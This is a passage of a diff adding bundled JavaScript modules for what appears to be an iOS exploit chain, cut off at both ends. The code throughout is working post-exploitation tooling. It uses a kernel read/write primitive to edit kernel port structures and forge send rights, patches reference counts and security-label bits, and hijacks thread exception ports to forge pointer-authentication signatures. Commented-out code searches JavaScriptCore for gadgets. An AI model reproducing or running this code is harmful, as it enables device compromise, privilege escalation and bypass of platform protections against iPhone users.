libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr); + return BigInt(port); + } + + static waitException(exceptionPort, excBuffer, timeout, debug) + { + let t1 = new Date().getTime(); + if (debug) + console.log(TAG,`Waiting exception...`); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + excBuffer, + MACH_RCV_MSG | MACH_RCV_TIMEOUT, + 0, this.ExceptionMessageSize, + exceptionPort, + timeout, + 0); + if (ret != 0) + { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); + //console.log(TAG,`Error receiving exception message:${errString}`); + return false; + } + if (debug) + { + let excRes = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(excBuffer,Number(this.ExceptionMessageSize)); + let exc = new _ExceptionMessageStruct__WEBPACK_IMPORTED_MODULE_2__["default"](excRes); + let elapsed = new Date().getTime() - t1; + //console.log(TAG,`Got exception succesfully after ${elapsed} ms with [id:${exc.Head.msgh_id}, exc=${exc.exception}, code=${Utils.hex(exc.codeFirst)}]`); + //console.log(TAG,`PC:${Utils.hex(exc.threadState.opaque_pc)}`); + //console.log(TAG,`LR:${Utils.hex(exc.threadState.opaque_lr)}`); + //console.log(TAG,`SP:${Utils.hex(exc.threadState.opaque_sp)}`); + //console.log(TAG,`FP:${Utils.hex(exc.threadState.opaque_fp)}`); + //for(let i = 0; i < 29; i++) + // console.log(TAG,`x[${i}]:${Utils.hex(exc.threadState.registers.get(i))}`); + } + return true; + } + + static replyWithState(exc,state,debug) + { + let replyBuf = new ArrayBuffer(Number(this.ExceptionReplySize)); + let reply = new _ExceptionReplyStruct__WEBPACK_IMPORTED_MODULE_3__["default"](replyBuf); + let sendSize = Number(this.ExceptionReplySize); + let recvSize = 0n; + if(debug) + { + console.log(TAG,`Reply with state:`); + console.log(TAG,`PC:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_pc)}`); + console.log(TAG,`LR:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_lr)}`); + console.log(TAG,`SP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_sp)}`); + console.log(TAG,`FP:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(state.opaque_fp)}`); + } + + reply.Head.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_4__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MOVE_SEND_ONCE, 0); + reply.Head.msgh_size = sendSize; + reply.Head.msgh_remote_port = exc.Head.msgh_remote_port; + reply.Head.msgh_local_port = 0; + reply.Head.msgh_id = exc.Head.msgh_id + 100; + reply.NDR = exc.NDR; + reply.RetCode = 0; + reply.flavor = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64; + reply.new_stateCnt = libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].ARM_THREAD_STATE64_COUNT; + //TODO make it inside ThreadState to copy thread state to another variable + for(let i = 0; i < 29; i++) + { + reply.threadState.registers.set(i,state.registers.get(i)); + } + reply.threadState.opaque_fp = state.opaque_fp; + reply.threadState.opaque_lr = state.opaque_lr; + reply.threadState.opaque_sp = state.opaque_sp; + reply.threadState.opaque_pc = state.opaque_pc; + reply.threadState.cspr = state.cspr; + reply.threadState.opaque_flags = state.opaque_flags; + let replyMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(replyMem,replyBuf); + if(debug) + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].printArrayBufferInChunks(replyBuf); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + replyMem, + MACH_SEND_MSG, + sendSize, recvSize, + 0n, + 0n, + 0n); + + if (ret != 0) + console.log(TAG,`Error replying exception:${libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string",ret)}`); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/ExceptionMessageStruct.js": +/*!****************************************************!*\ + !*** ./src/libs/TaskRop/ExceptionMessageStruct.js ***! + \****************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ ExceptionMessageStruct) +/* harmony export */ }); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); + + +class ExceptionMessageStruct +{ + #buffer; + #dataView; + + constructor(buffer) { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer); + this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,64); + } + + get NDR() { return this.#dataView.getBigUint64(24,true); } + set NDR(value) { this.#dataView.setBigUint64(24,value,true); } + + get exception() { return this.#dataView.getUint32(32,true); } + set exception(value) { this.#dataView.setUint32(32,value,true); } + + get codeCnt() { return this.#dataView.getUint32(36,true); } + set codeCnt(value) { this.#dataView.setUint32(36,value,true); } + + get codeFirst() { return this.#dataView.getBigUint64(40,true); } + set codeFirst(value) { this.#dataView.setBigUint64(40,value,true); } + + get codeSecond() { return this.#dataView.getBigUint64(48,true); } + set codeSecond(value) { this.#dataView.setBigUint64(48,value,true); } + + get flavor() { return this.#dataView.getUint32(56,true); } + set flavor(value) { this.#dataView.setUint32(56,value,true); } + + get old_stateCnt() { return this.#dataView.getUint32(60,true); } + set old_stateCnt(value) { this.#dataView.setUint32(60,value,true); } + + get paddingFirst() { return this.#dataView.getBigUint64(336,true); } + set paddingFirst(value) { this.#dataView.setBigUint64(336,value,true); } + + get paddingSecond() { return this.#dataView.getBigUint64(344,true); } + set paddingSecond(value) { this.#dataView.setBigUint64(344,value,true); } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/ExceptionReplyStruct.js": +/*!**************************************************!*\ + !*** ./src/libs/TaskRop/ExceptionReplyStruct.js ***! + \**************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ ExceptionReplyStruct) +/* harmony export */ }); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); + + +class ExceptionReplyStruct +{ + #buffer; + #dataView; + + constructor(buffer) { + this.#buffer = buffer; + this.#dataView = new DataView(this.#buffer); + this.Head = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_0__["default"](this.#buffer); + this.threadState = new _ThreadState__WEBPACK_IMPORTED_MODULE_1__["default"](this.#buffer,44); + } + + get NDR() { return this.#dataView.getBigUint64(24,true); } + set NDR(value) { this.#dataView.setBigUint64(24,value,true); } + + get RetCode() { return this.#dataView.getUint32(32,true); } + set RetCode(value) { this.#dataView.setUint32(32,value,true); } + + get flavor() { return this.#dataView.getUint32(36,true); } + set flavor(value) { this.#dataView.setUint32(36,value,true); } + + get new_stateCnt() { return this.#dataView.getUint32(40,true); } + set new_stateCnt(value) { this.#dataView.setUint32(40,value,true); } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/MachMsgHeaderStruct.js": +/*!*************************************************!*\ + !*** ./src/libs/TaskRop/MachMsgHeaderStruct.js ***! + \*************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ MachMsgHeaderStruct) +/* harmony export */ }); +class MachMsgHeaderStruct +{ + #dataView; + + constructor(buffer, offset = 0) { + this.#dataView = new DataView(buffer,offset); + } + + get msgh_bits() { return this.#dataView.getUint32(0,true); } + set msgh_bits(value) { this.#dataView.setUint32(0,value,true); } + + get msgh_size() { return this.#dataView.getUint32(4,true); } + set msgh_size(value) { this.#dataView.setUint32(4,value,true); } + + get msgh_remote_port() { return this.#dataView.getUint32(8,true); } + set msgh_remote_port(value) { this.#dataView.setUint32(8,value,true); } + + get msgh_local_port() { return this.#dataView.getUint32(12,true); } + set msgh_local_port(value) { this.#dataView.setUint32(12,value,true); } + + get msgh_voucher_port() { return this.#dataView.getUint32(16,true); } + set msgh_voucher_port(value) { this.#dataView.setUint32(16,value,true); } + + get msgh_id() { return this.#dataView.getUint32(20,true); } + set msgh_id(value) { this.#dataView.setUint32(20,value,true); } + + static MACH_MSGH_BITS(remote, local) + { + return ((remote) | ((local) << 8)); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/PAC.js": +/*!*********************************!*\ + !*** ./src/libs/TaskRop/PAC.js ***! + \*********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ PAC) +/* harmony export */ }); +//import Chain from "libs/Chain/Chain"; +//import Native from "libs/JSUtils/Native"; +//import Utils from "libs/JSUtils/Utils"; +//import Exception from "./Exception"; +//import Task from "./Task"; +//import Thread from "./Thread"; +//import ThreadState from "./ThreadState"; +//import ExceptionMessageStruct from "./ExceptionMessageStruct"; +//import Offsets from "Driver/Offsets"; + +const TAG = "PAC"; + +class PAC +{ + static gadget_pacia; + + static { + //this.#findGadgets(); + } + static remotePACLocal(address, modifier) + { + address = address & 0x7fffffffffn; + //console.log(TAG,`address:${Utils.hex(address)}, modifier:${Utils.hex(modifier)}`); + let signedAddress = pacia(address, BigInt(modifier)); + //console.log(TAG,`signedAddress:${Utils.hex(signedAddress)}`); + return signedAddress; + } + static remotePAC(threadAddr, address, modifier) + { + return Native.pacia(address, modifier); + + //return this.remotePACLocal(address, modifier); + /* + if (!this.gadget_pacia) + { + console.log(TAG,`Doesn't have gadget_pacia, aborting`); + return 0; + } + address = address & 0x7fffffffffn; + + let signedAddress = 0n; + + // Get PAC keys of remote thread + let keyA = Thread.getRopPid(threadAddr); + let keyB = Thread.getJopPid(threadAddr); + + //console.log(TAG,`Key A:${Utils.hex(keyA)}`); + //console.log(TAG,`Key B:${Utils.hex(keyB)}`); + + let kr = 0; + let pacThread = Native.mem; + Native.callSymbol("thread_create", 0x203, pacThread); + let buffRes = Native.read(pacThread, Utils.UINT32_SIZE); + let viewRes = new DataView(buffRes); + pacThread = viewRes.getUint32(0,true); + //console.log(TAG,`pacThread:${Utils.hex(pacThread)}`); + let stack = Native.callSymbol("malloc",0x4000n); + let sp = stack + 0x2000n; + let stateBuff = new ArrayBuffer(Utils.ARM_THREAD_STATE64_SIZE); + let state = new ThreadState(stateBuff); + state.opaque_sp = sp; + //arm_thread_state64_set_pc_fptr(state, (void*)gadget_pacia); + let outputBuffer = Native.mem; + //console.log(TAG,`Before pacia`); + if(pacia) + state.opaque_pc = pacia(this.gadget_pacia,Utils.ptrauth_string_discriminator("pc")); + else + state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia); + const buildVer = Offsets.getBuildVersion(); + if(buildVer && buildVer.startsWith("22")) + { + //console.log(TAG, "Applying 18 fix"); + //state.opaque_lr = 0x401n; + state.opaque_lr = pacia(0x401n,Utils.ptrauth_string_discriminator("lr")); + } + //console.log(TAG,`After pacia with pc:${state.opaque_pc}`); + //state.opaque_pc = Native.callSymbol("pacia",this.gadget_pacia,Utils.ptrauth_string_discriminator("pc"),Utils.ptrauth_key_asia); + state.registers.set(0,outputBuffer); + state.registers.set(1,BigInt(address)); + state.registers.set(2,BigInt(modifier)); + state.registers.set(3,BigInt(pacThread)); + state.registers.set(16,BigInt(address)); + state.registers.set(17,BigInt(modifier)); + + let exceptionPort = Exception.createPort(); + if (!exceptionPort) + { + console.log(TAG,`Cannot create exception port`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + + //console.log(TAG,`Exception port:${Utils.hex(exceptionPort)}`); + + kr = Native.callSymbol("thread_set_exception_ports", + pacThread, + Utils.EXC_MASK_BAD_ACCESS, + exceptionPort, + Utils.EXCEPTION_STATE | Utils.MACH_EXCEPTION_CODES, + BigInt(Utils.ARM_THREAD_STATE64)); + + if (kr != 0) + { + console.log(`thread_set_exception_ports failed:${kr}`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + let pacThreadAddr = Task.getPortKObject(BigInt(pacThread)); + //console.log(TAG,`PAC thread address:${Utils.hex(pacThreadAddr)}`); + if (!this.#setThreadState(pacThread, pacThreadAddr, stateBuff)) + { + console.log(TAG,`Failed to set thread state`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + // Change pacThread PAC keys with those of remote thread + Thread.setPACKeys(pacThreadAddr, keyA, keyB); + //console.log(TAG,`Starting PAC thread...`); + Native.callSymbol("thread_resume",pacThread); + let excBuffer = Native.mem; + if (!Exception.waitException(exceptionPort, excBuffer, 100, false)) + { + console.log(TAG,`Failed to receive exception from PAC thread`); + this.#cleanup(pacThread,exceptionPort,stack); + return 0n; + } + let excRes = Native.read(excBuffer,Number(Exception.ExceptionMessageSize)); + let exc = new ExceptionMessageStruct(excRes); + signedAddress = exc.threadState.registers.get(16); + //console.log(TAG,`Signed address: ${Utils.hex(address)} -> signedAddress:${Utils.hex(signedAddress)}`); + this.#cleanup(pacThread, exceptionPort, stack); + return signedAddress; + */ + } + + /* + static #findGadgets() + { + let sym = Native.dlsym("_ZNK3JSC13JSArrayBuffer8isSharedEv"); + if (!sym) + { + console.log(TAG,`Symbol not found`); + return false; + } + + let symStripped = sym & ~0xffffff8000000000n; + let gadgetOpcodesBuff = new ArrayBuffer(20); + let gadgetOpcodesView = new DataView(gadgetOpcodesBuff); + gadgetOpcodesView.setUint32(0,0xDAC10230,true); + gadgetOpcodesView.setUint32(4,0x9A9003E8,true); + gadgetOpcodesView.setUint32(8,0xF100011F,true); + gadgetOpcodesView.setUint32(12,0x1A9F07E0,true); + gadgetOpcodesView.setUint32(16,0xD65F03C0,true); + let data = Native.read(symStripped,0x1000); + let gadgetOffset = Utils.memmem(data,gadgetOpcodesBuff); + if (!gadgetOffset) + { + console.log(TAG,`pacia_gadget offset not found`); + return false; + } + this.gadget_pacia = symStripped + BigInt(gadgetOffset); + + console.log(TAG,`Gadgets found: pacia=${Utils.hex(this.gadget_pacia)}`); + + return true; + } + + static #setThreadState(thread,threadAddr,stateBuff) + { + let options = Thread.getOptions(threadAddr); + options |= 0x8000; + Thread.setOptions(threadAddr, options); + let stateMem = Native.mem; + Native.write(stateMem,stateBuff); + //console.log(TAG,`thread:${Utils.hex(thread)}`); + let kr = Native.callSymbol("thread_set_state", + thread, + BigInt(Utils.ARM_THREAD_STATE64), + stateMem, + BigInt(Utils.ARM_THREAD_STATE64_COUNT)); + if (kr != 0) + { + console.log(TAG,`Failed thread_set_state with error:${kr}`); + return false; + } + + options &= ~0x8000; + Thread.setOptions(threadAddr, options); + return true; + } + + static #cleanup(pacThread,exceptionPort,stack) + { + Native.callSymbol("thread_terminate",pacThread); + Native.callSymbol("mach_port_destruct",0x203, exceptionPort, 0n, 0n); + Native.callSymbol("free",stack); + } + */ +} + +/***/ }), + +/***/ "./src/libs/TaskRop/PortRightInserter.js": +/*!***********************************************!*\ + !*** ./src/libs/TaskRop/PortRightInserter.js ***! + \***********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ PortRightInserter) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./MachMsgHeaderStruct */ "./src/libs/TaskRop/MachMsgHeaderStruct.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); + + +const TAG = "PORTRIGHTINSERTER"; + +const TASK_SELF = 0x203; +const MACH_PORT_NULL = 0; +const MACH_PORT_TYPE_SEND = 0x10000; +const MACH_PORT_TYPE_DEAD_NAME = 0x100000; + +const MACH_SEND_MSG = 0x00000001n; +const MACH_RCV_MSG = 0x00000002n; +const MACH_SEND_TIMEOUT = 0x00000010n; +const MACH_RCV_TIMEOUT = 0x00000100n; + +const MACH_MSG_TYPE_COPY_SEND = 19; +const MACH_MSG_TYPE_MAKE_SEND = 20; +const MACH_MSG_TYPE_MAKE_SEND_ONCE = 21; + +const MACH_MSGH_BITS_COMPLEX = 0x80000000; +const MACH_MSG_PORT_DESCRIPTOR = 0; + +const MPO_INSERT_SEND_RIGHT = 0x10; +const MPO_PROVISIONAL_ID_PROT_OPTOUT = 0x8000; + +const IO_BITS_KOLABEL = 0x00000400; +const IE_BITS_TYPE_MASK = 0x001f0000; + +class PortRightInserter { + + static insert(portKaddr) { + const p = this.#newPort(); + //console.log(TAG, "New port: " + Utils.hex(p)); + const pAddr = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getPortAddr(BigInt(p)); + //console.log(TAG, "New port addr: " + Utils.hex(pAddr)); + if (!pAddr) + return 0; + + //this.#dumpPort(portKaddr); + //this.#dumpPort(pAddr); + + const backupBits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(portKaddr); + //console.log(TAG, "Port io bits: " + Utils.hex(backupBits)); + const needsFixBits = (backupBits & IO_BITS_KOLABEL); + + if (needsFixBits) { + const newBits = backupBits & ~IO_BITS_KOLABEL; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(portKaddr, newBits); + } + + this.#fixRefCounts(portKaddr, 1); + + //console.log(TAG, "Fix Ok"); + //this.#dumpPort(portKaddr); + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(pAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipNsRequest, portKaddr); + //this.#dumpPort(pAddr); + + let previous = this.#notifyNoSenders(p, MACH_PORT_NULL); + //console.log(TAG, "Previous right: " + Utils.hex(previous)); + + // Change the port rights from send once to send. + this.#switchToSendRight(previous); + + //this.#fixRefCounts(portKaddr, -1, false); + + // We have a send right to the port, but it's not in our space's hash. + // We send the port, then kill the entry. We'll properly receive it afterwards. + let msgBuff = new ArrayBuffer(40); + let msgHeader = new _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"](msgBuff); + msgHeader.msgh_id = 0x4141; + msgHeader.msgh_remote_port = p; + msgHeader.msgh_local_port = p; + msgHeader.msgh_size = msgBuff.byteLength; + msgHeader.msgh_bits = _MachMsgHeaderStruct__WEBPACK_IMPORTED_MODULE_3__["default"].MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, MACH_MSG_TYPE_MAKE_SEND); + msgHeader.msgh_bits |= MACH_MSGH_BITS_COMPLEX; // we send a port descriptor + + let msgBody = new DataView(msgBuff, 24); + msgBody.setInt32(0, 1, true); // msgh_descriptor_count + msgBody.setUint32(4, previous, true); // name + msgBody.setUint8(14, MACH_MSG_TYPE_COPY_SEND); // disposition + msgBody.setUint8(15, MACH_MSG_PORT_DESCRIPTOR); // type + + //let wMsg64 = new BigUint64Array(msgBuff); + //for (let i=0; i<5; i++) + // console.log(TAG, `${i}: ${Utils.hex(wMsg64[i]).padStart(16, '0')}`); + + let msgMem = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(msgMem, msgBuff); + let ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + msgMem, + MACH_SEND_MSG, + msgBuff.byteLength, 0, + p, + 0, + 0); + //console.log(TAG, "mach_msg: " + ret); + //Native.callSymbol("sleep", 1); + if (ret != 0) { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); + console.log(TAG, `Error sending message: ${errString}`); + return 0; + } + + //console.log(TAG, "mach_msg send: " + ret); + + this.#killRight(previous); + + ret = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_msg", + msgMem, + MACH_RCV_MSG | MACH_RCV_TIMEOUT, + 0, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].memSize, + p, + 1000, + 0); + if (ret != 0) + { + let errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_error_string", ret); + errString = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].readString(errString); + console.log(TAG, `Error receiving message: ${errString}`); + return 0; + } + + //console.log(TAG, "mach_msg recv: " + ret); + //Native.callSymbol("sleep", 1); + + let rMsg = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(msgMem, 40); + + //let rMsg64 = new BigUint64Array(rMsg); + //for (let i=0; i<5; i++) + // console.log(TAG, `${i}: ${Utils.hex(rMsg64[i]).padStart(16, '0')}`); + + msgBody = new DataView(rMsg, 24); + previous = msgBody.getUint32(4, true); + //console.log(TAG, "previous: " + Utils.hex(previous)); + + this.#fixRefCounts(portKaddr, -1); + + //this.#dumpPort(portKaddr); + + return previous; + } + + static #newPort() { + const options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + const buffer = new ArrayBuffer(8); + const view = new DataView(buffer); + view.setUint32(0, MPO_INSERT_SEND_RIGHT, true); + view.setUint32(4, 0, true); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer); + const newPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n; + let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct", TASK_SELF, options, 0n, newPortPtr); + if (kr != 0) { + console.log(TAG, `Error creating port: ${kr}`); + return MACH_PORT_NULL; + } + return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(newPortPtr); + } + + static #switchToSendRight(port) { + const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port)); + //console.log(TAG, "entry: " + Utils.hex(entry)); + //this.#dumpEntry(entry); + let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n); + //console.log(TAG, "entry bits: " + Utils.hex(bits)); + bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_SEND; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits); + //this.#dumpEntry(entry); + } + + static #killRight(port) { + const entry = _Task__WEBPACK_IMPORTED_MODULE_4__["default"].getRightAddr(BigInt(port)); + //console.log(TAG, "entry: " + Utils.hex(entry)); + //this.#dumpEntry(entry); + let bits = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read32(entry + 0x8n); + //console.log(TAG, "entry bits: " + Utils.hex(bits)); + bits = (bits & ~IE_BITS_TYPE_MASK) | MACH_PORT_TYPE_DEAD_NAME; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write64(entry, 0n); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].write32(entry + 0x8n, bits); + //this.#dumpEntry(entry); + } + + static #fixRefCounts(portAddr, diff, updateRefs=true, updateSonce=true) { + // Due to krw limitation, we cannot write at offset +132 of a 144 bytes struct, + // since krw would write in chunks of 32 bytes and so would cause a memory overflow (panic). + // So we read all the 144 bytes struct, changes values and then write it again as a whole. + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); + let ipcPort = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); + let ipcPortView = new DataView(ipcPort); + + let refs = ipcPortView.getUint32(0x4, true); + let sonce = ipcPortView.getUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), true); + + //console.log(TAG, "refs: " + refs); + //console.log(TAG, "sonce: " + sonce); + + refs += diff; + sonce += diff; + + if (updateRefs) { + //console.log(TAG, "new refs: " + refs); + ipcPortView.setUint32(0x4, refs, true); + } + if (updateSonce) { + //console.log(TAG, "new sonce: " + sonce); + ipcPortView.setUint32(Number(libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].offsets().ipSorights), sonce, true); + } + + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, ipcPort); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].writeZoneElement(portAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 144); + } + + static #notifyNoSenders(port, notifyPort) { + const MACH_NOTIFY_NO_SENDERS = 0o106; + + const previousPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem; + const kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_request_notification", + TASK_SELF, + port, + MACH_NOTIFY_NO_SENDERS, + 0, + notifyPort, + MACH_MSG_TYPE_MAKE_SEND_ONCE, + previousPtr); + //console.log(TAG, "mach_port_request_notification: " + kr); + if (kr != 0) + return MACH_PORT_NULL; + return libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(previousPtr); + } + + static #dumpPort(pAddr) { + console.log(TAG, "dump port: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(pAddr)); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(pAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90); + let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 0x90); + let buff64 = new BigUint64Array(buff); + for (let i=0; i<0x12; i++) + console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`); + } + + static #dumpEntry(entryAddr) { + console.log(TAG, "dump entry: " + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(entryAddr)); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__["default"].read(entryAddr, libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24); + let buff = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem, 24); + let buff64 = new BigUint64Array(buff); + for (let i=0; i<3; i++) + console.log(TAG, `${i}: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_2__["default"].hex(buff64[i]).padStart(16, '0')}`); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/RegistersStruct.js": +/*!*********************************************!*\ + !*** ./src/libs/TaskRop/RegistersStruct.js ***! + \*********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ RegistersStruct) +/* harmony export */ }); +const TAG = "REGISTERSSTRUCT" + +class RegistersStruct +{ + #dataView; + + constructor(buffer, offset = 0, length = 29) { + this.#dataView = new DataView(buffer,offset, length * 8); + this.length = length; + } + + get(index) { + if (index >= this.length || index < 0) { + console.log(TAG,`Got wrong index in get:${index}`); + return; + } + return this.#dataView.getBigUint64(index * 8, true); // true for little-endian + } + + set(index, value) { + if (index >= this.length || index < 0) { + console.log(TAG,`Got wrong index in set`); + return; + } + this.#dataView.setBigUint64(index * 8, BigInt(value), true); // true for little-endian + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/RemoteCall.js": +/*!****************************************!*\ + !*** 